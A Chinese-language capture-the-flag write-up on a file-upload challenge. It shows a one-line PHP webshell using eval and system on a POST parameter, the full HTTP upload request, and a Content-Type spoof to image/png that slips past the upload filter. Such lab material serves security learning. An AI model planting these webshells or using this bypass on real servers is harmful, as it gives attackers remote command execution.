背景

文件上传是许多网站的一种常见功能,但如果没有正确处理,可能会被利用来上传恶意文件,如webshell。

一句话木马是一种常见的webshell,通常只有一行代码,但可以在服务器上执行任意命令。例如:

<?php @eval($_POST['cssec']); ?>

这段代码会执行通过POST请求发送的任意PHP代码,只要提供正确的密码。就可以利用这个webshell来控制服务器,例如执行系统命令。

思路

网页有上传文件的入口,先尝试上传一个一句话木马

<?php eval($_POST['cssec']); ?>

网页提示

只允许上传:image/jpeg,image/png类型和markdown文件;

说明通过HTTP的标头在判断,拦截流量

POST /module/upload.php HTTP/1.1
Host: ctf.seek2.top:32841
Content-Length: 234
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ctf.seek2.top:32841
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhbPHUINZzWuGpW5E
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ctf.seek2.top:32841/module/upload.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sign=5a18d02b1f8da8d5f70a4cba720dfafd
Connection: close

------WebKitFormBoundaryhbPHUINZzWuGpW5E
Content-Disposition: form-data; name="fileUpload"; filename="exp.php"
Content-Type: application/octet-stream

<?php system($_POST['cssec']); ?>
------WebKitFormBoundaryhbPHUINZzWuGpW5E--

Content-Type: application/octet-stream类型不允许上传,改为允许的image/png,不会影响文件本身,只是欺骗服务器,就把shell 上传上去了,

文件 exp.php 已经上传。

文件路径: uploads/exp.php

连接木马,得到flag